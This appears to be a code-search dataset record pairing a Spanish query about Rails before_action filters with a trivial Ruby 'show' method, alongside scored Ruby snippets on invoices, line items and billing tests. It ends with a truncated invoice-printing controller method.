"def test_build_line_items_from_hash\n # Create a new order and put just one line item.\n setup_new_order()\n @o.order_line_items << @li\n \n # Now try to feed it with others.\n @o.line_items = {\n items(:red_lightsaber).id => {'quantity' => 2},\n items(:towel).id => {'quantity' => 1},\n items(:blue_lightsaber).id => {'quantity' => \"\"}\n }\n \n assert_equal @o.items.size, 2\n end",
"def test_add_book\n @d.add_book\n assert_equal @d.resources[\"books\"], 1\n @d.add_book\n assert_equal @d.resources[\"books\"], 2\n end",
"def test_line_amount_calculation\n credit_note = create_test_credit_note\n line_item = credit_note.line_items.first\n\n # Make sure that everything adds up to begin with.\n expected_amount = line_item.quantity * line_item.unit_amount\n assert_equal(expected_amount, line_item.line_amount)\n\n # Change the line_amount and check that it doesn't modify anything.\n line_item.line_amount = expected_amount * 10\n assert_equal(expected_amount, line_item.line_amount)\n\n # Change the quantity and check that the line_amount has been updated.\n quantity = line_item.quantity + 2\n line_item.quantity = quantity\n assert_not_equal(expected_amount, line_item.line_amount)\n assert_equal(quantity * line_item.unit_amount, line_item.line_amount)\n end",
"def test_delete_previous_promotion_line_item\n setup_new_order_with_items()\n \n a_fixed_rebate = promotions(:fixed_rebate)\n @o.promotion_code = a_fixed_rebate.code\n # Saving it, sets the promo code and product cost.\n assert @o.save\n # Assert the promotion is there.\n assert_equal @o.order_line_items.find_by_name(a_fixed_rebate.description).name, a_fixed_rebate.description, \"The fixed rebate wasn't added properly.\"\n\n # Test a percent rebate.\n a_percent_rebate = promotions(:percent_rebate)\n @o.promotion_code = a_percent_rebate.code\n # Saving it, sets the promo code and product cost.\n assert @o.save\n # Assert the promotion is there.\n assert_equal @o.order_line_items.find_by_name(a_percent_rebate.description).name, a_percent_rebate.description, \"The percent rebate wasn't added properly.\"\n\n # Assert the previous promotion is NOT there.\n assert_equal @o.order_line_items.find_by_name(a_fixed_rebate.description), nil, \"The fixed rebate is still there.\"\n end",
"def test_create_item\n with_an_item do\n assert_instance_of QualityCenter::Defect::Item, @item\n refute @page.empty?\n end\n end",
"def invoice_item\n Zapi::Models::InvoiceItem.new\n end",
"def test_can_edit_org_item\n user = User.named(\"user\")\n org = Organization.named(\"org\")\n\n item = org.propose_item(\"Item\", 20, :fixed, nil, nil)\n assert(!user.can_edit?(item))\n\n user.work_on_behalf_of(org)\n assert(user.on_behalf_of.can_edit?(item))\n end",
"def test_delete_invoice_resource\n resource = :offer\n\n x = Billomat.res(resource).last\n id = x.id\n\n client_id = x.client_id\n\n x.destroy\n\n assert_raise ActiveResource::ResourceNotFound do\n Billomat.res(resource).find(id)\n end\n\n # Clean up the client created in test_create_invoice_resource\n Billomat.res(:client).find(client_id).destroy\n end",
"def test_delete_invoice_resource\n resource = :invoice\n\n x = Billomat.res(resource).last\n id = x.id\n\n client_id = x.client_id\n\n x.destroy\n\n assert_raise ActiveResource::ResourceNotFound do\n Billomat.res(resource).find(id)\n end\n\n # Clean up the client created in test_create_invoice_resource\n Billomat.res(:client).find(client_id).destroy\n end",
"def test_should_show_if_is_new_or_on_sale\n a_product = items(:towel)\n assert a_product.is_on_sale?\n a_product = items(:the_stuff)\n assert !a_product.is_on_sale?\n a_product = items(:lightsaber)\n assert a_product.is_new?\n a_product = items(:holy_grenade)\n assert !a_product.is_new?\n end",
"def test_generic_item(item:)\n @assertions[:assert].append([\n item.class == Item,\n 'generic_item is not working'\n ])\n end",
"def print_generate_invoices_info\n puts \"\\n==============================2.TEST generateInvoices====================================\"\n end",
"def test_invoice_cannot_be_already_paid\n payment_order = PaymentOrder.new\n\n payment_order.invoices << @payable_invoice\n payment_order.user = @user\n payment_order.type = 'PaymentOrders::EveryPay'\n\n assert(payment_order.valid?)\n\n @payable_invoice.mark_as_paid_at(Time.zone.now)\n\n assert_not(payment_order.valid?)\n end",
"def test_update_raw_material_qty\n assert_equal(15, @bakery.update_raw_material_qty(5,\"flour\"))\n end",
"def test_send_invoice_flow_with_edit_gateways_add_payment_credentials\n api_token, current_url, token_url = initiate_send_invoice('signup')\n session_successfully_create_user(api_token, current_url) do |user|\n user.edit_user_gateways!\n user.sign_up_for_beanstream!(api_token)\n user.send_invoice_with_payment!(true, true, \"brand_new_user@billingboss.com\")\n assert api_token.invoice.selected_payment_types.any?\n assert_last_delivery_had_no_errors\n end\n end",
"def set_invoice_item\n @invoice_item = InvoiceItem.find(params[:id])\n end",
"def test_for_add_guest\n assert_equal(0,@venue.guests.length)#assert 0 guests\n @venue.add_guest(@gina)#push /shovel guest\n assert_equal(1,@venue.guests.length)#check guest list increased\n end",
"def test_create_product_formula\n \n end",
"def test_acknowledgement\n Net::HTTP.any_instance.expects(:request).returns(stub(:body => invoice_data.to_json))\n assert @go_coin.acknowledge\n end",
"def test_destroy\n assert_equal items(:starbucks), paychecks(:last_week).item\n items(:starbucks).destroy\n assert_nil paychecks(:last_week).reload.item_id\n items(:sals).destroy\n assert_raise(ActiveRecord::RecordNotFound){taggings(:sals_pizza)}\n end",
"def test_check_tax_calculation_on_new_invoice_with_discount_before_tax\r\n @debug = false\r\n update_profile_taxes(\r\n :tax_enabled => true,\r\n :tax_1_rate => 7.0,\r\n :tax_2_rate => 6.0,\r\n :discount_before_tax => true)\r\n\r\n expected_before = {\r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 0.31,\r\n :total => 17.25} \r\n \r\n # uncheck_both_taxes \r\n expected_after = {\r\n :line_items_total => 15.54,\r\n :tax_1_amount => 0.00,\r\n :tax_2_amount => 0.00,\r\n :discount_amount => 0.31,\r\n :total => 15.23} \r\n \r\n \r\n add_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {uncheck_both_taxes}\r\n \r\n # uncheck_tax_1\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 0.00,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 0.31,\r\n :total => 16.16}\r\n \r\n add_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {uncheck_tax_1}\r\n \r\n # uncheck_tax_2\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 0.00,\r\n :discount_amount => 0.31,\r\n :total => 16.32}\r\n \r\n add_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {uncheck_tax_2}\r\n \r\n # change tax rate 1\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.55,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 0.31,\r\n :total => 17.71}\r\n \r\n add_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_tax_1_rate(10.00)}\r\n\r\n #change_tax_2_rate\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 1.73,\r\n :discount_amount => 0.31,\r\n :total => 18.05}\r\n \r\n add_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_tax_2_rate(11.11)}\r\n\r\n #change_discount_amount\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 5.55,\r\n :total => 12.01}\r\n \r\n add_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_discount_amount(5.55)}\r\n\r\n #change_discount_percent\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.09,\r\n :tax_2_amount => 0.93,\r\n :discount_amount => 0.86,\r\n :total => 16.70}\r\n \r\n add_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_discount_percent(5.55)}\r\n\r\n #change_discount_amount_and_rates(5.55, 10.0, 11.11)\r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.55,\r\n :tax_2_amount => 1.73,\r\n :discount_amount => 5.55,\r\n :total => 13.27}\r\n \r\n add_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_discount_amount_and_rates(5.55, 10.0, 11.11)}\r\n\r\n #change_discount_percent_and_rates(5.55, 10.0, 11.11) \r\n expected_after = { \r\n :line_items_total => 15.54,\r\n :tax_1_amount => 1.55,\r\n :tax_2_amount => 1.73,\r\n :discount_amount => 0.86,\r\n :total => 17.96}\r\n \r\n add_standard_invoice_update_tax_and_verify(\r\n expected_before, \r\n expected_after\r\n ) {change_discount_percent_and_rates(5.55, 10.0, 11.11)}\r\n\r\n\r\n b = @user.b\r\n\r\n #change_qty\r\n add_standard_invoice\r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => expected_before[:line_items_total],\r\n :tax_1_amount => expected_before[:tax_1_amount],\r\n :tax_2_amount => expected_before[:tax_2_amount],\r\n :discount_amount => expected_before[:discount_amount],\r\n :total => expected_before[:total]) \r\n \r\n #get newly added last row in the table and change quantity\r\n trows = @user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(trows.length)]\r\n assert tr.exists?\r\n @user.expects_ajax(1) do\r\n @user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][quantity]\"), '4')\r\n #tr.text_field(:name, \"invoice[line_items_attributes][][quantity]\").set('4')\r\n end\r\n \r\n @user.wait\r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => 18.87,\r\n :tax_1_amount => 1.32,\r\n :tax_2_amount => 1.13,\r\n :discount_amount => 0.38,\r\n :total => 20.94) \r\n \r\n #change_price\r\n add_standard_invoice\r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => expected_before[:line_items_total],\r\n :tax_1_amount => expected_before[:tax_1_amount],\r\n :tax_2_amount => expected_before[:tax_2_amount],\r\n :discount_amount => expected_before[:discount_amount],\r\n :total => expected_before[:total]) \r\n \r\n #get newly added last row in the table and change price\r\n trows = @user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(trows.length)]\r\n assert tr.exists?\r\n @user.expects_ajax(1) do\r\n @user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][price]\"), '4.44')\r\n #tr.text_field(:name, \"invoice[line_items_attributes][][price]\").set('4.44')\r\n end\r\n \r\n @user.wait \r\n \r\n verify_invoice_view_fields(\r\n :line_items_total => 18.87,\r\n :tax_1_amount => 1.32,\r\n :tax_2_amount => 1.13,\r\n :discount_amount => 0.38,\r\n :total => 20.94) \r\n end",
"def test_check_inventory\n # Create a cart and add some products.\n a_cart = Order.new\n a_cart.add_product(items(:red_lightsaber), 2)\n a_cart.add_product(items(:blue_lightsaber), 4)\n assert_equal a_cart.items.length, 2\n \n an_out_of_stock_product = items(:red_lightsaber)\n assert an_out_of_stock_product.update_attributes(:quantity => 1)\n \n # Assert that the product that was out of stock was removed.\n removed_products = a_cart.check_inventory\n assert_equal removed_products, [an_out_of_stock_product.name]\n\n # Should last the right quantity of the rest.\n assert_equal a_cart.items.length, 1\n end",
"def test_line_items_auth \n c = customers(:bob)\n assert_equal(line_items(:bob_line_item), c.find_line_item(1))\n assert_nil(c.find_line_item(2))\n assert_nil(c.find_line_item(100000))\n end",
"def create\n ActiveRecord::Base.transaction do\n @invoice = Invoice.new invoice_params\n customer = Customer.find_or_create_by(name: params[:customer_name])\n @invoice.customer = customer\n @invoice.save!\n\n Item.all.each do |item|\n if params[\"amount_#{item.id}\"].to_i > 0\n InvoiceDetail.create!(invoice: @invoice, item: item, price: item.price,\n amount: params[\"amount_#{item.id}\"].to_i)\n end\n end\n end\n\n respond_to do |format|\n if @invoice.calculate_total!\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render :show, status: :created, location: @invoice }\n else\n format.html { render :new }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_adds_up_in_quanttity\n\t\tcart = Cart.new\n\t\t3.times { cart.add_item 1 }\n\n\t\tassert_equal cart.items.length, 1 #solo un item\n\t\tassert_equal cart.items.first.quantity, 3 #varias unidades del mismo item\n\tend",
"def test_send_invoice_flow_with_edit_gateways_change_payment_credentials\n api_token, current_url, token_url = initiate_send_invoice('signup', nil, :invoice => { :currency => 'USD' })\n session_successfully_create_user(api_token, current_url) do |user|\n user.edit_user_gateways!\n api_token.reload\n add_beanstream_gateway_to_user(api_token.user)\n user.sign_up_for_sage_vcheck!(api_token)\n user.send_invoice_with_payment!(true, true, \"brand_new_user@billingboss.com\")\n assert api_token.invoice.selected_payment_types.any?\n assert_last_delivery_had_no_errors \n end\n end",
"def new_invoice_item(invoice, i)\n invoice_item = SupplierInvoiceItem.new\n if i.class.name == 'ReceiptNoteItem'\n invoice_item.receipt_note_id = i.receipt_note_id\n invoice_item.receipt_note_item_id = i.id\n else\n invoice_item.purchase_order_id = i.purchase_order_id\n invoice_item.purchase_order_item_id = i.id\n end\n invoice_item.supplier_invoice_id = invoice.id\n invoice_item.product_id = i.product_id\n invoice_item.code = i.code\n invoice_item.description = i.description\n invoice_item.quantity = i.balance\n invoice_item.price = i.price\n invoice_item.discount_pct = i.discount_pct\n invoice_item.discount = i.discount\n invoice_item.tax_type_id = i.tax_type_id\n invoice_item.work_order_id = i.work_order_id\n invoice_item.project_id = i.project_id\n if !i.charge_account_id.blank?\n invoice_item.charge_account_id = i.charge_account_id\n else\n invoice_item.charge_account_id = ChargeAccount.expenditures(i.project_id).first.id\n end\n invoice_item.created_by = current_user.id if !current_user.nil?\n return invoice_item\n end",
"def test_it_returns_all_associated_invoices\n assert_equal 2, customer.invoices.size\n end",
"def create_invoice\n self.invoice = match.invoices.create unless invoice\n end",
"def test_price_increase\n upload_catalog('Catalog-v1.xml', false, @user, @options)\n\n create_basic_entitlement(1, 'MONTHLY', '2013-08-01', '2013-09-01', 1000.0)\n\n # Effective date of the second catalog is 2013-09-01\n upload_catalog('Catalog-v2.xml', false, @user, @options)\n\n # Original subscription is grandfathered\n add_days_and_check_invoice_item(31, 2, 'basic-monthly', '2013-09-01', '2013-10-01', 1000.0)\n\n # Create a new subscription and check the new price is effective\n create_basic_entitlement(3, 'MONTHLY', '2013-09-01', '2013-10-01', 1200.0)\n\n add_days_and_check_invoice_balance(30, 4, '2013-10-01', 2200.0)\n end",
"def create_some_bogus_benign_database_entries\n s = FactoryGirl.create(:sale_with_1_book_unpaid)\n line_item = s.line_items.first\n line_item.update_attributes(qty: 90)\n # FactoryGirl.create(:line_item)\n FactoryGirl.create(:address)\n \n @expectedly_unassociated_address_id = Address.last.id\n \n @spoof_address_count = Address.count - @retailer_address_count\n \n Sale.find_by_address_id(@expectedly_unassociated_address_id).should be_nil\n @expectedly_unassociated_address_id\n end",
"def save_invoice_items(tariff, invoice, bill, cf, user_id)\n # Fixed\n fixed_fee_qty = fixed_fee_quantity\n if !tariff.fixed_fee.zero?\n tariff_code = tariff.try(:billable_item).try(:billable_concept).try(:code) rescue ''\n # tariff_price = tariff.fixed_fee / tariff.billing_frequency.total_months\n tariff_price = (tariff.fixed_fee / tariff.billing_frequency.total_months) * coefficient_by_users(tariff, 'F')\n if tariff_code == 'SUM' && should_bill_by_inhabitants_or_endowments?(tariff, 'F')\n tariff_price = tariff_price * subscriber.right_inhabitants_and_endowments\n end\n if tariff_code == 'DEP'\n tariff_price = tariff_price * subscriber.right_equiv_dwelling\n end\n create_invoice_item(tariff,\n invoice.id,\n \"CF\",\n tariff_price,\n fixed_fee_qty,\n tariff.billing_frequency.fix_measure_id,\n tariff.try(:tax_type_f_id),\n tariff.try(:discount_pct_f),\n user_id, '')\n elsif tariff.percentage_fixed_fee > 0 and !tariff.percentage_applicable_formula.blank?\n create_invoice_item(tariff,\n invoice.id,\n \"CF\",\n ((tariff.percentage_fixed_fee/100) * Invoice.find(invoice.id).total_by_concept_ff(tariff.percentage_applicable_formula)) / billing_frequency.total_months,\n fixed_fee_qty,\n tariff.billing_frequency.fix_measure_id,\n tariff.try(:tax_type_f_id),\n tariff.try(:discount_pct_f),\n user_id, '')\n end\n\n # Variables\n # block_frequency = billing_frequency.total_months.to_d / tariff.billing_frequency.total_months.to_d\n block_frequency = coefficient_for_billing_blocks(tariff, fixed_fee_qty)\n if !tariff.block1_limit.nil? && tariff.block1_limit > 0\n limit_before = 0\n block_limit = 0\n (1..8).each do |i|\n block_limit = ((tariff.instance_eval(\"block#{i}_limit\") + coefficient_by_inhabitants(tariff, 'V')) * block_frequency * coefficient_by_users(tariff, 'V')).round rescue nil\n # if limit nil (last block) or limit > consumption\n if block_limit.nil? || block_limit >= (cf || 0)\n create_invoice_item(tariff,\n invoice.id,\n \"BL\"+i.to_s,\n tariff.instance_eval(\"block#{i}_fee\"),\n ((cf || 0) - limit_before),\n tariff.billing_frequency.var_measure_id,\n tariff.try(:tax_type_b_id),\n tariff.try(:discount_pct_b),\n user_id, '')\n break\n else\n create_invoice_item(tariff,\n invoice.id,\n \"BL\"+i.to_s,\n tariff.instance_eval(\"block#{i}_fee\"),\n block_limit - limit_before,\n tariff.billing_frequency.var_measure_id,\n tariff.try(:tax_type_b_id),\n tariff.try(:discount_pct_b),\n user_id, '')\n limit_before = block_limit\n end\n end # (1..8).each\n elsif tariff.percentage_fee > 0 and !tariff.percentage_applicable_formula.blank?\n create_invoice_item(tariff,\n invoice.id,\n \"VP\",\n cf != 0.0 ? (tariff.percentage_fee/100) * Invoice.find(invoice.id).total_by_concept(tariff.percentage_applicable_formula, false) / cf : 0.0,\n cf,\n tariff.billing_frequency.var_measure_id,\n tariff.try(:tax_type_p_id),\n tariff.try(:discount_pct_p),\n user_id, '')\n elsif tariff.variable_fee > 0\n create_invoice_item(tariff,\n invoice.id,\n \"CV\",\n tariff.variable_fee,\n cf,\n tariff.billing_frequency.var_measure_id,\n tariff.try(:tax_type_v_id),\n tariff.try(:discount_pct_v),\n user_id, '')\n end # tariff.block1_limit > 0\n end",
"def test_add_1food\n\t\tputs \"TEST 2\"\n\t\tassert( @db.empty?, \"DB should be empty\" )\n\t\t@db.addFood(\"Potato\", \"123\")\n\t\tassert( @db.size == 1, \"Size of DB != 1\")\n\t\tassert( !@db.empty?, \"DB should not be empty\")\n\tend",
"def test_selectItem_must_have_quantity\n\t\t# vm = VendingMachine.new\n\t\tvm = VendingMachine.new(@db)\n\t\tvm.output = StringIO.new\n\t\t# vm.items[\"A1\"].quantity = 0\n\t\titem = @db.getItem(\"A1\")\n\t\titem.quantity = 0\n\t\t@db.updateItem(item)\n\t\tvm.inputMoney(0.50)\n\t\titem = vm.selectItem(\"A1\")\n\t\tassert_equal(\"sold out\", vm.output.string.strip)\n\tend",
"def test_selectItem\n\t\t#vm = VendingMachine.new\n\t\tvm = VendingMachine.new(@db)\n\t\tvm.output = StringIO.new\n\t\t# vm.items[\"A1\"].quantity = 1\n\t\tvm.inputMoney(0.50)\n\t\titem = vm.selectItem(\"A1\")\n\t\tassert_not_nil(item)\n\t\tassert_equal(\"A1\", item.code)\n\t\tassert_equal(\"Almond Joy\", item.description)\n\tend",
"def update\n \n @invoice_item.update(@invoice_item)\n respond_with(@invoice)\n \n end",
"def test_note\n instance = Note.create('Link')\n assert_equal('Link', instance.class.name)\n\n Note.stub(:input_index, 1) do\n instance = Note.create\n assert_equal('Task', instance.class.name)\n end\n end",
"def invoice\n raise \"override in purchase_order or sales_order\"\n end",
"def test_add_plan\n upload_catalog('Catalog-v1.xml', false, @user, @options)\n\n # basic-monthly has no trial period\n bp = create_basic_entitlement(1, 'MONTHLY', '2013-08-01', '2013-09-01', 1000.0)\n\n # Move clock to 2013-09-01\n add_days_and_check_invoice_item(31, 2, 'basic-monthly', '2013-09-01', '2013-10-01', 1000.0)\n\n # Effective date of the second catalog is 2013-10-01\n upload_catalog('Catalog-v3.xml', false, @user, @options)\n\n # Move clock to 2013-10-01\n # Original subscription is grandfathered (no effectiveDateForExistingSubscriptions specified)\n add_days_and_check_invoice_item(30, 3, 'basic-monthly', '2013-10-01', '2013-11-01', 1000.0)\n\n # The annual plan is only present in the v3 catalog\n create_basic_entitlement(4, 'ANNUAL', '2013-10-01', nil, 0)\n\n # Move clock to 2013-10-31 (BCD = 1)\n add_days_and_check_invoice_item(30, 5, 'basic-annual', '2013-10-31', '2014-10-01', 12_849.32)\n\n # Move clock to 2013-11-01\n # Verify original subscription is still grandfathered\n add_days_and_check_invoice_item(1, 6, 'basic-monthly', '2013-11-01', '2013-12-01', 1000.0)\n\n # Verify we can change to the new plan\n change_base_entitlement(bp, 7, 'Basic', 'ANNUAL', '2013-08-01', '2013-11-01', '2014-11-01', 14_000, 13_000)\n end",
"def test_discount_on_bulk_quantity_of_item\n # Add 3 strawberries to line items\n line_items = [ @strawberry_in_cart_1, @strawberry_in_cart_2, @strawberry_in_cart_3]\n @bulk_discount.apply(line_items)\n\n # Test if the discount is applied\n assert_equal @strawberry_in_cart_1.price, @strawberry.price - @bulk_discount.bulk_discount, \"Discount applied\"\n assert_equal @strawberry_in_cart_2.price, @strawberry.price - @bulk_discount.bulk_discount, \"Discount applied\"\n assert_equal @strawberry_in_cart_3.price, @strawberry.price - @bulk_discount.bulk_discount, \"Discount applied\"\n end",
"def test_add_1_recipe\n\t\tputs \"TEST 4\"\n\t\tassert( @db.empty?, \"DB should be empty\" )\n\t\t@db.addRecipe(\"Cookies\", [\"Flour\", \"BakingSoda\"] )\n\t\tassert( @db.empty?, \"DB should still be empty after adding recipe with non existing foods\" )\n\t\t@db.addFood(\"Flour\", \"84\" )\n\t\t@db.addFood(\"BakingSoda\", \"123\" )\n\t\tassert( @db.size == 2, \"there should be 2 foods,ready for recipe\" )\n\t\t@db.addRecipe(\"Cookies\", [\"Flour\", \"BakingSoda\"] )\n\t\tassert( @db.size == 3, \"With recipe, size should == 3\" )\n\t\tassert( @db.is_Recipe?(\"Cookies\") , \"Cookies should be a recipe\" )\n\tend",
"def create_invoice\n visit CreateReq do |page|\n\n page.select_acquire.click\n page.create_btn.click\n\n\n @doc_value = page.doc_no_value\n puts @doc_value\n page.tab_vendor.click\n page.vendor_alias_name.set 'ybp'\n page.vendor_select.click\n page.attachBib.click\n sleep(3)\n page.createCurrentItemButton.click\n sleep(10)\n page.windows[1].use\n sleep(5)\n page.dataField_tag_data.exists?.should be_true\n page.dataField_tag_data.set '245'\n page.dataField_tag_id_line0_control.set 'Best Laid Plans'\n page.submitEditor.click\n sleep(10)\n\n page.windows[0].use\n sleep(10)\n page.location.select(\"API\")\n page.listPrice.set \"10\"\n page.addItem.click\n sleep(10)\n page.accounting.click\n sleep(5)\n page.accountsCode.select(\"BL\")\n page.accountNumber.set \"1031400\"\n page.financialObjectCode.set \"2100\"\n page.sourceAnchor.click\n\n sleep(10)\n page.institutionalInfo.click\n\n sleep(10)\n page.blanketApprove.click\n# Navigate to the Doc Search screen to fetch the purchase order\n sleep(10)\n page.doc_search.click\n sleep(10)\n page.doc_id.set @doc_value\n page.search_req.click\n sleep(10)\n# @doc_status= page.doc_status\n# @doc_status.should match 'FINAL'\n page.doc_id_link.click\n sleep(10)\n page.windows[2].use\n page.tab_viewRelatedDocuments.click\n page.purchase_order_id_link.click\n sleep(10)\n page.windows[3].use\n# @purchase_order_status= page.purchase_order_status\n# @purchase_order_status.should match 'FINAL'\n @purchase_order_id= page.purchase_order_id\n puts @purchase_order_id\n page.windows[1].close\n page.windows[2].close\n# page.windows[3].use\n# page.windows[3].close\n page.windows[0].use\n page.select_acquire_red.click\n page.create_invoice_btn.click\n sleep(10)\n puts \"Create Invoice Process Started\"\n puts \"Seleting Vendor\"\n page.vendor_select_invoice_page.select 'YBP Library Services'\n sleep(5)\n puts \"Setting Invoice Date\"\n page.invoice_date.set '05/10/2015'\n puts \"Setting Invoice Amount\"\n page.invoice_amount.set '10'\n page.process_item_link.click\n sleep(10)\n puts \"Searching purchase order\"\n page.purchase_order_search.set @purchase_order_id\n sleep(10)\n page.send_keys :enter\n sleep(10)\n puts \"Adding purchase order\"\n page.add_po.click\n sleep(5)\n page.blanketApprove_invoice\n sleep(10)\n end\n end",
"def updateInvoiceItem(invItem, projectId, description, rate, quantity, currency)\n\t\tinvItem.project_id = projectId\n\t\tinvItem.name = description\n\t\tinvItem.rate = rate\n\t\tinvItem.currency = currency\n\t\tinvItem.quantity = quantity\n\t\tinvItem.amount = invItem.rate * invItem.quantity\n\t\tinvItem.modifier_id = User.current.id\n\t\tinvItem.save()\n\t\tinvItem\n\tend"
] |
[
"0.7535946",
"0.7379648",
"0.695239",
"0.6883084",
"0.6797367",
"0.67200434",
"0.6701178",
"0.66296726",
"0.6491032",
"0.6433756",
"0.64238167",
"0.63970625",
"0.63964486",
"0.63707995",
"0.63685155",
"0.6353537",
"0.63334715",
"0.6266988",
"0.62041867",
"0.61894464",
"0.61255705",
"0.5983829",
"0.5982429",
"0.5967077",
"0.594009",
"0.5935757",
"0.59165",
"0.59118384",
"0.59023875",
"0.5866541",
"0.5865053",
"0.58524024",
"0.58511686",
"0.5844155",
"0.58432126",
"0.584139",
"0.58389956",
"0.5824495",
"0.58243394",
"0.58151937",
"0.5805449",
"0.5801463",
"0.57801217",
"0.5779304",
"0.5777743",
"0.575943",
"0.57479316",
"0.5733919",
"0.57276464",
"0.5726531",
"0.5721967",
"0.5713222",
"0.57100457",
"0.5700981",
"0.56918514",
"0.5676965",
"0.566589",
"0.56531876",
"0.56433",
"0.5633743",
"0.5630497",
"0.5623315",
"0.5616168",
"0.56130636",
"0.5610423",
"0.5600315",
"0.5598193",
"0.5594104",
"0.5580592",
"0.5573268",
"0.5572773",
"0.55686337",
"0.5561337",
"0.55491",
"0.55303574",
"0.5524262",
"0.551823",
"0.5509254",
"0.55037344",
"0.54969394",
"0.54848814",
"0.5470957",
"0.5466974",
"0.5466139",
"0.54627645",
"0.54575235",
"0.5449858",
"0.54487085",
"0.5441603",
"0.54362553",
"0.54350615",
"0.54346836",
"0.5433516",
"0.54199487",
"0.5419427",
"0.5417221",
"0.5415809",
"0.5404985",
"0.54040945",
"0.5389696"
] |
0.8291523
|
0
|
AUTENTICADOR DE USUARIOS se ejecuta antes de los metodos solo en los seleccionados before_action :imprimir, execept: [:index, :show, :update, :destroy] se ejecuta antes de los metodos en todos menos lo seleccionado
|
def show
# no se que hace
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def imprimir_todo\n\n # aqui guardo todos los datos que necesito para imprimirlos en las variable\n\n @width_layout = '955'\n @form_title = ''\n @imprimo='1'\n \n #@ordenes_de_despacho_aux=OrdenDespachoDetalle.find(:all, :conditions=>\"id in #{params[:ordenes_despachos_id]}\")\n\n\n @factura_orden_despacho_otra= FacturaOrdenDespacho.find(:all, :conditions=>\"orden_despacho_detalle_id in #{params[:parciales_id]} and secuencia='#{params[:secuencia]}' and monto_factura>0\")\n\n factura_orden_despacho_count=FacturaOrdenDespacho.count(:all, :conditions=>\"orden_despacho_detalle_id in #{params[:parciales_id]} and secuencia='#{params[:secuencia]}' and monto_factura>0\")\n\n@factura_orden_despacho=FacturaOrdenDespacho.find(:first, :conditions=>\"orden_despacho_detalle_id in #{params[:parciales_id]} and secuencia='#{params[:secuencia]}' and monto_factura>0\")\n\n\nsolicitu=OrdenDespacho.find(OrdenDespachoDetalle.find(@factura_orden_despacho.orden_despacho_detalle_id).orden_despacho_id).solicitud_id\n\n@solicitudes = Solicitud.find(:all,:conditions => ['id = ?', solicitu])\n\n unless @solicitudes[0].nil?\n if !@solicitudes[0].cliente.persona_id.nil?\n \n\t@es_no=1\n\t@datos_cliente=Persona.find(@solicitudes[0].cliente.persona_id) unless @solicitudes[0].nil?\n else\n\t@es_no=2\n\t@datos_cliente=Empresa.find(@solicitudes[0].cliente.empresa_id) unless @solicitudes[0].nil?\n end\n end\n@numero_desembolso=OrdenDespachoDetalle.find(@factura_orden_despacho.orden_despacho_detalle_id).orden_despacho_id\n\n@orden_despacho= OrdenDespacho.find(:all,:conditions => ['id = ?', @numero_desembolso])\n\n\n@oficina= Oficina.find(:all,:conditions => ['id = ?', @solicitudes[0].oficina_id]) unless @solicitudes[0].nil?\n\n\n@parametros_general=ParametroGeneral.find(:first)\n\n @condition = \" orden_despacho_id = #{@factura_orden_despacho.orden_despacho_detalle.orden_despacho_id} and cantidad > 0\"\n\n @total = OrdenDespachoDetalle.count(:conditions=>@condition)\n @list = OrdenDespachoDetalle.find(:all, :conditions => ['orden_despacho_id = ? and cantidad > 0', @factura_orden_despacho.orden_despacho_detalle.orden_despacho_id])\n\n\t@total_saldo_entregar=0\n\t@total_precio_total=0\n\tcont=0\n diferencia=0.00\n @total_monto_confirmado=0.00\n\twhile cont< @total\n #if OrdenDespacho.find(@numero_desembolso).estatus_id==20000 || OrdenDespacho.find(@numero_desembolso).estatus_id==20010 || OrdenDespacho.find(@numero_desembolso).estatus_id==20020\n\t \n # codigo nuevo al 3/9/2013 \n if ( ((@list[cont].cantidad * @list[cont].costo_real)!=@list[cont].monto_financiamiento) and (@list[cont].monto_recomendado!=0))\n \n @total_saldo_entregar+=@list[cont].monto_recomendado\n diferencia=@list[cont].monto_recomendado - @list[cont].monto_facturacion \n \n else\n \n @total_saldo_entregar+=@list[cont].monto_financiamiento\n diferencia=@list[cont].monto_financiamiento - @list[cont].monto_facturacion\n end\n #codigo nuevo al 3/9/2013 \n \n \n #else\n\t #@total_saldo_entregar+=@list[cont].monto_recomendado\n #diferencia=@list[cont].monto_recomendado - @list[cont].monto_facturacion\n #end\n\n @total_monto_confirmado+=@list[cont].monto_facturacion\n\n logger.debug \"monto financiamiento = \" << @list[cont].monto_financiamiento.to_s\n logger.debug \"monto facturacion = \" << @list[cont].monto_facturacion.to_s\n logger.debug \"diferencia = \" << diferencia.to_s\n if diferencia < 